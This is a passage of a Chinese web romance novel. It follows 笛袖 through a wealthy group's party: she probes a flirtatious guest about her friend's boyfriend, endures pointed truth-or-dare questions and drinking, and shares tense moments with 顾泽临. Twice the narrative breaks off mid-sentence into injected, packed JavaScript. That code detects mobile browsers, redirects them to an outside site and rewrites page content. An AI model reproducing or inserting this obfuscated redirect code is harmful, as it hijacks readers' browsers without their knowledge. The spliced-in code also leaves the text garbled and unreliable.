男的会看周晏眼色避嫌,女的自成两派,她们有些自矜身份,是真正的千金小姐,建起无形壁垒;有些托凭其他关系进来,一双眼睛圆溜溜地转,目标根本没放在同性身上。 笛袖表面望向舞台观赏,余光不动声色地暗暗打量,只觉这里,最不缺的是酒、美色和心眼。 她在悄然观察他人,同样也有别人注意到她。 静坐不过几分钟,才一首歌的时间,便有人开始按捺不住。 打笛袖一进门起,他的眼神瞥见过再也挪不开。 今晚是给付潇潇作陪衬,笛袖穿得随意许多,一套长袖卫衣配微喇牛仔裤,脸上轻薄地打了一层底,简单勾勒眉形,涂个浅色系口红。 周围的人妆容明丽,唯独她素得不能再素。 郑询原以为周晏和他女朋友走后,她会参与进来,谁知那女孩找个角落安然坐着,自顾自听起歌。 …… 那庸俗的破歌有什么好听的? 左等右等都不见苗头,郑询索性起身直接过去,探一探口风。 “怎么不过去坐?” 郑询含笑接近,道:“我们那边才热闹。” 女孩扭头看见来人,略有意外。 她并不带锋芒,气场柔雅而平和,带着一股静气。换作平时还好,当下争相喧哗的场合中,就显得格外特别。 郑询忽然心痒难耐,像被细叶轻轻挠了下,喉咙微微发干。 “你……喝酒吗?能不能喝。” 女孩颔首点了下,“可以。” 她抬手示意,随时为客人服务的应侍生上前,笛袖点了杯带甜味的果酒,郑询叫了杯威士忌。 能够接受喝杯酒慢慢聊,这个举动说明了女孩对自己不反感,而且还挺乐意接触,郑询顿感轻松许多。 只讲了两个字,郑询却像发现什么惊奇。 “你的声音很好听。” ——好不好听在其次,这是交际话术,引导女生接下来多开口。 对方却没接话。 听见陌生异性褒奖,她唇角微弯,仅淡淡笑着。 郑询暗想,果然和外表一样冷静又矜持。 这类女生他不是没追过,越矜持越要放慢节奏,不能让对方觉得被冒犯,要尊重、产生精神共鸣,她们骨子里藏着自负傲气,注重内在胜过外形。 但只要找对方向,把话题聊开了,她们就会轻易敞开心扉。 不多时,冰镇酒水端上来。 笛袖正愁开场白,对方却自顾自说起来。 “以前没见过你,是第一次来这玩吗?” “我看你是和周晏他们一起进来的。”郑询说。 要是以前见过这么标致的女生,他早认得了,周晏友人里没这号人物,郑询语气半是笃定,问道:“你和他女朋友什么关系呀,俩闺蜜?” “差不多。” 郑询笑,“美女的朋友还得是美女,漂亮的都爱凑到一起玩。” 照付潇潇的话形容,叶笛袖天生有范儿,一看就不好追,普通男的压根不敢上。 而能够一碰面,便自如攀谈的,要么是情场老手,要么是对自身条件极度自信。 依笛袖客观眼光来看,郑询应该是二者兼有。 笛袖若无其事,开始打听:“我和朋友第一次来这,听周晏说他是这的常客,你们平时也是这群人一起聚着玩么?” 说这话时,她目光扫过另一边乌泱泱的人。 郑询摇头,“那倒没有。” 笛袖似懂非懂。 他耐心解释起来,“这里面一半的是常客,常来常往嘛;另一小半呢,是请来作客的。最后还有一小部分,是不请自来,在这里坐多久分主人心情,好的时候留下来,不高兴随时走人,没有定数。” 他说得诙谐,笛袖却听出言语之下的势利。人分三六九等是世俗常情,但被人直接拿出来摆道、论高低,仍顿觉不适。 她与付潇潇是第二类,“那,你算哪一类?”笛袖接着问道。 郑询笑笑不说语。 他还懂得要脸皮,没有自卖自夸,但笑意间少不了几分得意。 无言胜似有言。 ——是常客就好,她要问的就是常客。 笛袖张了张嘴,才恍若醒悟: “照这个说法,周晏也是‘常客’了?” “他肯定自然。”郑询不假思索。 “那他一般和谁来,得关系好的才会经常一块玩吧,”笛袖好笑地道:“依周晏的性格,什么人能和他日日处得来。” 笛袖本意循序渐近,打听谁和周晏走得近,或者以往身边是否常有其他异性,问清楚了好和付潇潇交差。 郑询不疑有他,下钩子就咬:“周晏脾气挺好的啊,是出了名的好相与,反倒是和他常来往的那个,嘿,那位大少爷才是真的刺头!” 笛袖提起点神,凝眸环顾左右,状似好奇回望:“哦?” “今天他来了吗?” “他么——” “你关心这干什么。” 郑询竟冷不防开窍,一时回味过来,“你对周少爷的事这么好奇,可以直接让你朋友去问呐。” “还是说,”郑询语气幽微,“——你也看上他了?” 笛袖笑意顷刻淡了许多。 郑询试探一下而已,没有最好。 他觑笛袖脸色,继而干笑两声,改口安抚道:“开个玩笑哈,别当真。” 笛袖不置可否。抬手拿起搁在桌面上的酒杯,浅浅抿一口。 她喝的是青梅酒,琥珀色液体晃荡在玻璃杯中,冷藏过的杯壁凝结薄薄一层冰雾。 全然不予理睬。 晾了足足半分钟,郑询忍不住紧张得咽唾沫,以为随口一句把人惹恼了,笛袖才慢慢撂一句: “你讲话真幽默。” “……” · 付潇潇回来时,看到笛袖被一个男生纠缠着。那男的眉目英挺、鼻直口正,长相甚是不错,但眼角、唇角总似有若无地勾起,眼神迷离暧昧,有种浮腻的轻率感。 付潇潇蹙了蹙眉,正要上前。 比她落后半步的周晏这时瞧见,懒洋洋道:“呵,郑询这回撞铁板上了。” 听到这话,付潇潇定了定神再看,那人一直在赔笑,只差低声下气讨饶,应付自如的那个分明是笛袖。 周晏补一句:“这俩心智不在一个段位。” 郑询平日里浪惯了,借家世便利,外加肯花点心思讨女孩子欢心,在情场上过得顺风顺水,不曾想遇上个不吃这套的,转头就被拿捏住了。 付潇潇见此,既然笛袖应对得过来,就没有过去干涉。 她环顾一圈,以往形影不离,见面五回有三回在的人却不见踪影,随口问周晏:“你那好哥们呢?” “隔壁房间,在看球。” 周晏努了努嘴,指向和室内联通的一扇门。 “他心情不好,最近不知道犯什么事,情绪一直不对。” 周晏想到什么,笑了下:“估计和家里有点关系……算了,不用管他,我们玩自己的,让他自己静会儿就好。” · 郑询自以为好不容易把人“哄好”,再不敢随便抖机灵。 笛袖“消气”后,他扬长避短,发挥自己的优势,大谈宗教艺术、哲学、历史、军事政治……哪个领域高深他就精专哪个,打定主意在见闻上令对方心悦诚服。 笛袖做出仔细倾听的样子。 没有纠正里面明显的错误,比如基督教和天主教的不是一个教派,欧洲中世纪并不是彻底黑暗,孕育出文艺复兴的土壤不可能只靠一两粒优良种子,政治自由不等于政权自治……边寻机会找个合适的切入点套话,从只言片语中攫取信息。 …… “是不是挺有意思,我空闲的时候经常研究这些知识。” 笛袖含蓄笑了下,“听着陌生,我不太懂。” 郑询笑意愈深,“其实了解后,就知道这些一点都不深奥,感兴趣的话,我们以后可以经常交流。” “对了,你现在是在上学,还是已经工作?” 吹了一大通,郑询 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“上半场连进三球后,下半场都在划水,四十五分钟里双方才各进一球。” 顾泽临觉得没劲,“浪费时间,看到一半无聊到睡着了。” 周晏笑他,“输了今天算我请客,你不亏。” 顾泽临抖了抖僵硬肩膀,手扶着脖子揉捏放松,耳边捕捉到一道清澈悦耳的嗓音。 “原来如此啊——” 灯光与酒色相映,昏暗场景中,侧脸笼罩在暗昧光影里,清晰的只有轮廓。 顾泽临一眼认出角落的她,面色微有凝固。 “……嗯,有道理。” 笛袖不厌其烦,草草应付郑询一个接一个的问题。 心里琢磨今晚过后,得找付潇潇要什么筹码才能弥补她白白消耗的精力。 她态度迂回,让郑询会错意,越凑近直视越觉得这女生长得实在好看,且耐看,他很久没遇到这么合胃口的对象。 趁女生倾身拿酒时,他不着痕迹靠拢,坐得更近了些,伸臂亲热地搭在她身后的靠背上。 这一幕顾泽临尽收眼底。 嘴角翘了翘。 想也没想抬步直到跟前,对着那男的面,道:“Hi,让个位。” 他语气平淡,还有将睡醒的一点困倦,嗓音低。 谈话声音戛然中止。 …… 他们处在边角,这边一组沙发都是空的。分明另一边就有空位,顾泽临却指着他的脸说把位子腾出来。 郑询眼神极细微地悄然变化。 他顿了顿,却没说什么,直接换了个位置,坐回到原先人堆里。 这情况出其不意,笛袖愣住片刻。 “……” 顾泽临忽然冒出来,令她感到些许茫然。 “你什么时候来的?” 顾泽临没坐郑询原先的地方,反而挑了个笛袖对面的空位。 他说:“我一直在这。” 笛袖纳闷蹙眉,顾泽临要是在场,她怎么都没看到? 顾泽临瞧出她的疑惑,解释道:“之前呆在隔壁。” “你又是和谁到这?” 短短一段时日内,能偶然邂逅两回,赶得上以往一年的次数,换作谁都会觉得巧合。 笛袖问:“你认识他们吗。” 顾泽临跟着她的目光望过去,何止认识。 付潇潇手机落在餐厅,她折返回去拿,顺便端了杯餐后鸡尾酒。亚历山大白兰地入口柔顺,味道清甜,高脚杯沿沾着一圈草莓糖渍,装饰性卡着一片鲜黄柠檬,她似乎被第一口口感惊艳,眼神微微发亮,同周晏说着边品鉴。 “周晏,旁边那个是他新交的女朋友。”顾泽临想了想,“好像是叫潇潇来着。” “付潇潇是我的同学。”笛袖应。 那头一眨眼的功夫,顾泽临消失不见,周晏满脸狐疑,巡过一圈瞧到人竟是直接坐到笛袖对面。 付潇潇也看到了,内心讶然。她提杯就近坐笛袖旁边,压低声音问:“刚才那个男生呢?” “走了。” “也好。”付潇潇埋汰道:“我看他够烦人的,追着你问个不停,甩都甩不掉。” 笛袖扶额,无奈看她。似乎在说麻烦是因为谁惹上的。 “……” 付潇潇战术性转移话题,弧线优美的下巴微抬,指了下对面的顾泽临。 “你们在聊什么呢。” 说话间,周晏人也过来,接着和顾泽临谈那把输的球赛。 “没什么。”笛袖道:“就提了下你们俩而已。” 15. 愈烈1 他们四个凑在这显眼,引得场内其余人侧目——今晚是周晏做东组局,四舍五入等于他在的地方才是party中心,顾泽临出来后,重头戏更是全集中在他俩身上。 很快,接二连三有人走过来寒暄说话,或佯装靠近舞台的位置欣赏曲子。 转眼间,笛袖事先挑的僻静角落,陆陆续续坐满了人。 郑询走开后,她一时间找不到人问话,但好在这里最不缺乐子。 见气氛差不多了,有人当即扬声,提议大家玩个游戏。 附和声立起,其中真心话的响应最高。 规则非常简单,所有人围着沙发坐成一圈,桌面上放倒一个空酒瓶,首次转完瓶口指向的是本轮提问者,由他再次拨动酒瓶,第二次指的则是被提问者。 问题尺度不限,被提问者答得上来对方罚酒,答不上来自罚一杯。 然后被提问者自动成为下一轮的提问者,循回往复。 当陌生的年轻男女们相聚一处,寻求地无外乎是刺激,能够在短时间内打探到隐私,交换代价只是酒精,再没有比这个更好的方法。 而当酒劲上来,平时里不敢说的心底话都吐露得干净。 付潇潇正求之不得,最先应允。 笛袖还没开口,付潇潇目光灼灼已然盯过来——要是少了她,缺个捧场递话头的。 …… 半催半赶下,笛袖只好舍命陪君子。 周晏态度可有可无,既然大家呼声高,他乐于助兴。原本少许还在犹豫、停留不动的,见势也合群地参与进来。 调整座次的时候,男女分坐两边,笛袖右侧是付潇潇,左边坐着一溜新来的女生,她们过来时身上携着好闻的香水味,面色都挺友善,典型笑脸迎人的客套。 唯独顾泽临是个例外。他甩了句不玩,点杯幽绿苦艾酒在边上慢慢喝。 缺一个人便失了一些兴致,而且不参加留在这,意味他可以没有一丁点儿损失,听完所有人的秘密。 这并不公平,但顾泽临不守规矩,也没谁提出反对或者劝说。 在座都是人精,刚开始热场环节还稍微委婉点,几个轮次过后,氛围渐渐上来了,问得尽往刁钻方向去。 有些隐晦,有些露骨,光是听着就面红耳赤。 被问到的人耳尖泛红,实在说不出口只能逼着罚酒,等到瓶口指向自己,有机会提问时,又恼羞成怒地“报复性”下一个人。 “冤”“冤”相报,一点不带手软。 室内音响环绕韵律强劲,节奏感十足的曲目。乐队不知何时停下表演,连带服务员一并离开。 付潇潇本意是借机套出些周晏的真心话,奈何玩了半小时下来,竟没有被转到过一次,她没被提问自然也无从发问。 另一头笛袖却自顾不暇。不知是不是她今晚运气不佳,或者说运气太好的缘故,频频中了。 五六回里能有一次她,和付潇潇成为鲜明对比。 作为新人身边又没异性陪同,笛袖像落入狼群的可口羔羊,蠢蠢欲动的不止郑询,在场萌生特殊心思的大有人在。 只是先前找不到合适时机,他们逮着机会,提的都是笛袖不愿意答的问题。 上来遇到第一个问题就被询问是否单身。 “我有男朋友。” 笛袖回答得丝毫不含糊,可这没有劝退在场所有人。 反而挑起了某些人的好胜心,征服欲,紧随其后几个擦边话题抛出来。 …… 看得出用心险恶,尽是往下流隐私的方向引。 若是一对一单独较量,当然周旋得来,但大庭广众下,所有人遵守游戏规则,她不得已罚了几杯酒。 之后轮到一个女生问她和男朋友发展到什么程度。 女孩子们都有些好奇心,八卦之火熊熊燃烧。付潇潇也饶有趣味看过来。 “约会,牵手,拥抱,亲吻,还是……”女生故意停顿一下。 笛袖脸颊微微泛粉,酒劲上来了,脸颊染上醉意酡色,“没约会过。” “谈得这么纯?”女生眉尾挑了挑,轻笑一声。大家跟着低低哟了下。“连一次约会都没有,成年人的恋爱都这么正经的吗?”语气里的调侃意味更浓,有种阴阳怪气,似乎是怀疑笛袖有所隐瞒,这回答得有水分。 笛袖看着女生足足一阵,接连被刻意针对下来,激起心头火。 在她这话引得众人哂笑时,冷不丁开口:“除了这个,其余该做的都做过了。” 这爆了个大猛料! 氛围瞬间点燃,在场所有人都被震了下,随及惊讶的、兴奋的、看热闹的、哄笑的各式各样声音和情绪迸发出来。付潇潇“哇哦”一声,也是被突如其来的直率挑起兴致。 周晏目光新奇,正要伸手添酒,却余光触及身旁的顾泽临把玩着酒杯的手忽然握紧,手背上青筋毕露。他坐在沙发上,原本是弯腰低垂脑袋的姿势,舒展的肩背中间一道脊椎骨微微凹陷,上身背肌却陡然间绷紧了。 “……” 周晏一怔。 游戏还在继续。 由于先前回答得过于劲爆,后面的问题更加直白,这群人没脸没皮到了一种境界,根本招架不住。 一连四五杯酒下肚,付潇潇眼神略有担忧,“要不要紧?” 笛袖没吭声。 手掌心轻轻按压着腹部,付潇潇以为她喝太快撑着,又说:“你缓着点。” 闭眼缓了缓,屏气挨过一阵刺痛。疼感尖锐短暂到转瞬即逝,便没人注意到她一刻紧眉,笛袖抬头时和付潇潇说:“我去下洗手间。” “我陪你。”付潇潇要扶她手臂。 “不用。你坐着吧。” 笛袖站得稳稳当当,她酒量是被练过的,寻常度数的酒不足以轻易灌醉。 犹记得有次大考结束,关悠然和她去清吧放松放松。东大数院考试难度可谓变态级别,同在理科专业都是出了名的,挂科率低于40%的课程就算容易,意味着班上近一半的学生都要重修。 隔壁物院学生敢怒不敢言,每次投诉专业核心课挂科率高时教授会让他们考虑要不要转专业,去数院对比领略一下本学院老师已经手下留情。 那次到清吧品酒,是犒慰备考期间饱受摧残的身心,那晚关悠然却被笛袖的酒量彻底折服,她意外发现笛袖一个特长,就是酒品非常、出奇的好,瞧着滴酒不沾的人,实际上千杯不醉。 ——真人不露相。 付潇潇看她眼神清明,意识相当清醒,便没跟上去。 不过一两分钟,玩至中途,对面有个男生笑意疏懒,开口道:“酒不够了,我去叫人送进来。” 众人哄然应好,夹杂几声辛苦。 苦艾酒液体呈深绿,主要原料是苦艾和茴香,口感如同其名清香且极苦。 顾泽临一向喜欢低酒精感,高酒精度的烈酒,这杯是他的常点款,不知不觉间杯内深绿酒液空了。 形态修长的手指,有一拍没一拍敲叩桌面。引得周围人循声看过去,顾泽临似乎百无聊赖,周晏皱了皱眉,熟悉发小的细微情绪,直觉对方心情好像无端变得更差了些,却见下一刻他直腿站起身体。 “闷,去透透气。” 随后,顾泽临阔步离开。 没头没脑丢下一句,周晏越发看不懂他在想什么。 无缘无故地,谁惹他了? · 笛袖拧开水龙头,水流如注倾泻而下。 任由冰凉清水淌过双手,手背湿漉漉地碰到脖项、脸颊,带来一阵清凉感,降下微醺产生的燥热。 里面太闹腾,她想片刻静一静,特意在洗手间多呆一会儿。 直到时间差不多,再晚估计付潇潇会来寻人,她才抬手从镜面下方抽出几面纸张擦拭干手。 走出洗手间,笛袖看到门口廊道顾泽临在低头看手机,黑色连帽卫衣,白长裤、白色高帮运动鞋,颜色泾渭分明将上下身区分开,他站立的姿势很随性,因为身材比例好偏偏很有形。 对上笛袖清澈眼眸,顾泽临淡然自若,说出来接 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水和药是他提前备好的。 咽下口温白开,送着胃药吞入肚,白色药物抑制胃酸分泌,保护被损伤受刺激的胃黏膜。温水比加冰块的酒暖身,吃下顾泽临准备的胃药,笛袖顿时感觉好了很多。 顾泽临注意到了她的些微不适。 “里头真醉假醉都有,借机耍酒疯得不少。” “他们都是老手了,骰子想投到几就是几,转盘想转到哪个数,轮到谁就是谁。你玩不过他们的。”顾泽临不偏不倚,平静陈述实情。 “不用怀疑,有人在针对你。” 笛袖掌心隔层玻璃,过冷水后发凉的手又被熨热。 “我感觉到了。” 她轻颔首,“所以才要出来一趟,待会再装个样子回去。” 顾泽临背靠在栏杆,没说话,端视着她。 他没参与游戏,置身事外,在边上反而旁观者清。从最初看到笛袖身边的郑询,再到真心话环节,付潇潇和笛袖两人的眼神交流,加以推理就能得出结论。 但顾泽临不明白,她为什么舍近求远。 顾泽临略微侧脸,看着笛袖的脸庞,状似随意地开口:“其实你想了解的事,不妨问我。” “最了解周晏的人就站在你面前。” 笛袖不直接说意图,只从侧面打探,因为相比她和付潇潇,像郑询等人肯定和周晏更熟。同性间臭味相投,玩得一块的更乐衷于给彼此打掩护,于情于理都会偏袒他。 这也是为什么付潇潇不亲自问的原因。 她出面等于白问,谁会顶着得罪周晏的风险,在他背后说坏话? 至于顾泽临么…… 他卖兄弟卖得一个干脆,让笛袖想笑又起疑心。 “你看出来了?” “其他人未必能让你听到想要的,与其把时间浪费在那群家伙身上,你找我更直接。” 她不置可否:“你会说实话吗?” “我从不说谎话。” 一是不屑编造谎言,二是凡他不想讲的时候,不开口就行。 苦艾气息像把空气晕染,隔着半米距离,苦涩、酒香扑鼻而来,一步之遥却如近在咫尺。 笛袖垂眉敛眸,思索如何交谈下去。 ——该不该信他? 忽然间,她留意到一个细节。过道走廊左面是墙,右边凭杆与凌空对峙,他俩身子朝向一正一反,地面影子形同交错。 在笛袖发现的一刹那,苦香味道猛地浓郁加重。 地面黑黢黢人影骤然重叠! 这时她听见耳边声音,清晰可闻。 “你想知道什么,” 很慢,是明显刻意讲给她听—— “我都可以告诉你。” 16. 愈烈2 原来不是她错觉,在短暂一瞬,顾泽临忽然附身靠过来。 笛袖脊背僵了下。 脸颊险险擦过。 眼前覆盖一层阴影,还来不及闪避已近至跟前。 而他只是抬手去够扶栏外悬挂花架的铃兰,洁白如玉,像铃铛一样的花朵装饰廊道,累累繁花成串结在一根枝头,将细嫩绿枝压得弯垂,指尖即将触碰花瓣边缘,却又在下一刻收手。 就像是…… 脑袋瞬间闪过许多念头,捕捉到最贴切的一个。 像是,春风吹皱一池静水。边界之内却在边线不安分游离,若有若无试探。 顾泽临看着呼吸凝住一两秒的笛袖。 看她察觉出一丝怪异,下意识身体避嫌般往后闪躲,看见这个细微动作紧随着被克制住。 一切发生在极短瞬间,却像慢镜头在眼前无比清晰地掠过。 · · 隔了不知多久,连付潇潇这样没刻意去记时间的,于某刻瞥见身旁空出一人的位置,都恍然发觉笛袖去洗手间的时间未免长到过头。 恰好笛袖从外面推门进来,付潇潇刚吊起的一颗心又揣回肚子里,她手肘压在膝盖上托着腮,待笛袖落座小声说:“再不回来,我就要去找你了。” “刚吃了胃药,在外面缓了会儿。”笛袖道。 付潇潇闻言一顿,“真不舒服啊,感觉严不严重?” “有一点,不过现在好多了。” 头顶绚丽灯光没有规律的变化,紫白青蓝不同颜色交叠起灭,给身形镀上朦胧之感,即使周围环境如此凌乱,依然能看得出她皮肤透着冷冷的白,像汝瓷上的一层月白釉质。 笛袖眉眼秋水瞳影,许是因为身体不适,脸色较寻常更浅淡几分,愈发衬得态浓意远。 饶是付潇潇见惯这张脸,此刻竟冷不丁怔然出神,开口想说什么,鼻子忽地耸动一下。 她转过脸,往笛袖身上凑近仔细闻了闻。 “你做什么?” “奇怪。”付潇潇纳闷:“你身上好像比之前多了点味道。” 原先笛袖喝的一直是果酒,所以付潇潇很熟悉她身上那股属于水果芳香的丝丝沁甜。多出来的那部分却是突兀。 但再闻时,又不明显了。 空气中飘荡着各种香水、以及酒水零食的气味等等混杂,付潇潇摸了摸鼻子,疑怪道:“难道是我感觉错了?” 方才近距离说了太久话,无意沾染上另一个人的气息。苦艾是种气味很重的植物,在南浦每年清明节前后都有吃青团的习俗,笛袖以前在家学着做过一次,摘采过艾草的手残余汁液,清苦味一时半会洗都洗不掉,能停留在手上两三天。 笛袖神态自若,道:“可能是不小心碰到别人衣服,蹭上了一点。” 本是件不打紧的小事,付潇潇随口一提没有较真。 “既然不舒服就别再喝了,本来就是个游戏,搭上身体多不值。”她发起牢骚:“我也觉得没意思,老是转不到我。” 付潇潇坐在边上倒看了其他女生指向周晏提问,当着面看男朋友被别的异性言语逗趣,任是再怎么玩得起,也够膈应的了。 笛袖同样正有此意,即便付潇潇不说,自己也准备这么做。 付潇潇快人快语,率先表明结束意图。一旦有人做出头鸟,场上不太能喝的,玩到这个程度已经差不多了,皆而纷纷附和。里面属女生的声音居多。 不碰酒的派对游戏同样很多,一直由一方向另一方提问的方式未免单调,他们很快想到个新点子,搜罗出一副全新纸牌。 牌面上写着真心话,根据抽出卡片上的问题每个人依次回答,限时十秒钟内写在纸上。 这个方式比先前文雅许多,维持先前的氛围又不闹腾,且不具备针对性,迅速赢得所有人的认可。 很快第一张牌面内容亮相,提问:【你最近一次情绪低落是什么时候?】 笛袖回想起那天和母亲吃晚饭的场景,气压低到凝重。轮到她时,纸面上写着的是:“一个星期前。” 抽牌的人充当法官,摇头道:“要具体到时刻。” 笛袖停笔一秒,遂重新改了答案:“上周四晚。” 转完一圈人后,才透气完回来的顾泽临被叫住,周晏噙着笑,俨然一副准备拉他下水的表情:“你最近一回心情低落,是什么时候?” 顾泽临随意扫眼桌面上每个人铺开的纸张,心里大致有数,估摸又换了种新玩法。 “问我?” “别说是现在啊。”周晏先堵他的话。 被周晏提前预判到的顾泽临轻笑一下,余光瞟向浑然未觉的某人。 “几天前。” 他不太上心地说道:“周四还是周五,记不清了。” 周晏不知顾泽临那两天经历了什么,上星期他人在夏威夷,但一回国就听见个惊天新闻——顾泽临他被赶出了自家大门! 起因导火索是为何,周晏之后探了下顾家口风,了解到七七八八,说来那件事他也有参与。周晏其实挺后悔事前没劝住顾泽临,任由他凭性子发泄,那口恶气是出了,那帮手段下作阴魂不散的败类照样狠狠揍了,但事态闹大传进家里人耳朵里,吃亏得不还得是他们? 顾泽临这段时间一直低气压也全因和家里闹翻。周晏一边觉得他惨,摊上这么个烂摊子,出力不讨好。一边心想何必争这一时之气,尤其还是为了个不相干的人? 周晏借个由头,想将顾泽临拉进游戏解闷。 顾泽临斟酌着观望一会,接下来的真心话都很友好,提的有趣又不出格。 譬如问及【最喜欢的植物】,这个简单,女生们一半以上讲的是花,像付潇潇最爱郁金香,笛袖说的白蝴蝶兰。 付潇潇一听,扬起笑容:“这个花语好。” “只有三个字,特别直白简洁。” 她眼神灵动,笑意促狭:“——是‘我爱你’。” “看不出啊,你喜欢这么热烈奔放的花。” 笛袖尚未解释,邻座有个知情的女生被逗乐,噗嗤笑出声:“‘我爱你’,是紫色蝴蝶兰的花语。她写的是白蝴蝶兰,这种花束比较少见,象征爱情纯洁和友谊珍贵,送给朋友和爱人都合适。” …… 难道遇到正常的一组问题,顾泽临这回没拒绝。 他坐下后,遇到的首个问题是:【你给感兴趣的异性,或对你表示过好感的异性,主动留下联系方式的次数。】 有些人思索起来,心里默默数着,而笛袖没花太多时间思考,提笔写下数字。 全部展开后,付潇潇的是“0”,顾泽临、周晏和笛袖等人的是“1”。最多的那个男生是29次。 亏他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826131|175530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还记得,怕不是次数太多随便诌了一个。 中途,服务生送了刚烘培出炉的纸杯蛋糕,洋葱烟肉面包和冰淇淋烤布蕾等甜品端进来,将点心架摆得满满当当,正好抚慰各位客人空荡下来的胃。 · 结束散场,已经是凌晨。 沙发上躺着醉的或困的睡着的人有一半,嘴里喃喃不休,清醒的没几个。 酣畅尽欢后,余下精神过度亢奋后的空虚感,和浓浓疲倦,还能站起来的都坐车挪到下一处场地休息。 周晏在附近有一所私宅,环境幽静,建在半山腰块垒平地上。别墅背凭山坡郁蔥森林,山底是市区小型绿植公园,可供随时俯瞰欣赏山脚的一泊人工湖。 时间太晚,这里离她家少说要一个多小时车程,街道空荡荡无人,深更半夜打车更不安全。笛袖依着付潇潇的意思在半山别墅借住一晚,房屋主人没有任何意见,而顾泽临近日“无家可归”,自然不得不跟在周晏身边混日子。 今夜地库里新停了好些名车豪车。 聚会上一部分人住进半山别墅,这里房间足够多,光客房区域就有两层,大家都玩得累了,各自在楼上楼下找个地儿休息。 他们四人中,属付潇潇酒量最浅,在车上一直伏在她肩上迷迷哼哼打酒嗝,笛袖深怕行驶中一个颠簸吐在自己身上,万幸这个惨状没有发生,然而等到下车后,付潇潇又开始另类作妖。 别墅内房间不止一个,付潇潇偏吵嚷着非要和她睡。 付潇潇闹得凶,周竟无计可施,最终给她们挑了间东南方向主卧。 好在卧室的床足够大,笛袖不跟酒鬼计较,脱了付潇潇的外套鞋子,叮叮当当的首饰耳环项链手串解下来,付潇潇懒洋洋抬手弯腰配合,一碰到柔软富有弹性的床面,当即一秒入睡。 笛袖却睡不着。 躺了一段时间,胃里越翻腾越厉害。不知道是吃的胃药药性太温和不管用,还是别的什么原因,从恶心变成阵阵明显抽痛感。 她疼得难受,身体蜷缩成一团,捂着腹部忍耐。 最后实在受不了,还是决定去吃些东西。 走出房门,屋内静悄悄无声。 呈圆拱形的一排玻璃落地窗垂挂深色帘布,连通二楼户外空中花园,背景山峦绵延。夜幕之下半山别墅仿佛与世隔绝,深夜密林远看像暗涌海面,树梢随风摇曳,浮荡层层叠叠的波涛。 陌生的走廊黑黢黢,后背渗出凉意。她找不到灯光开关在哪,摸黑中看到沿道一道房门缝隙渗光。 还有人同样没睡。 忽然间定下心来。笛袖没打扰,借手机光亮寻到楼梯口,脚步放轻下楼,找到进门时看到厨房的位置,她打开冰箱,里面只有一些速冻食物,和脱水保鲜的蔬菜水果。 周晏应该不在这里常住,虽然房屋肉眼可见打扫得很干净,客房床铺上的被子一尘不染,但是存留食物不多。 这种情况下,笛袖也不挑剔了。为图省时,她简单下碗清汤面条垫肚。 先煎个荷包蛋,注入开水,滚沸后再放进一把细细长条的挂面,最后在面条快煮熟断生的时候,扔进青菜烫一遍。 前后不过五分钟。她端着碗冒着热气的清汤面,转身回眸,却撞见听闻动静出来探看的顾泽临。 他连先前衣服都没换,神采奕奕,全然不像是要打算入睡的样子。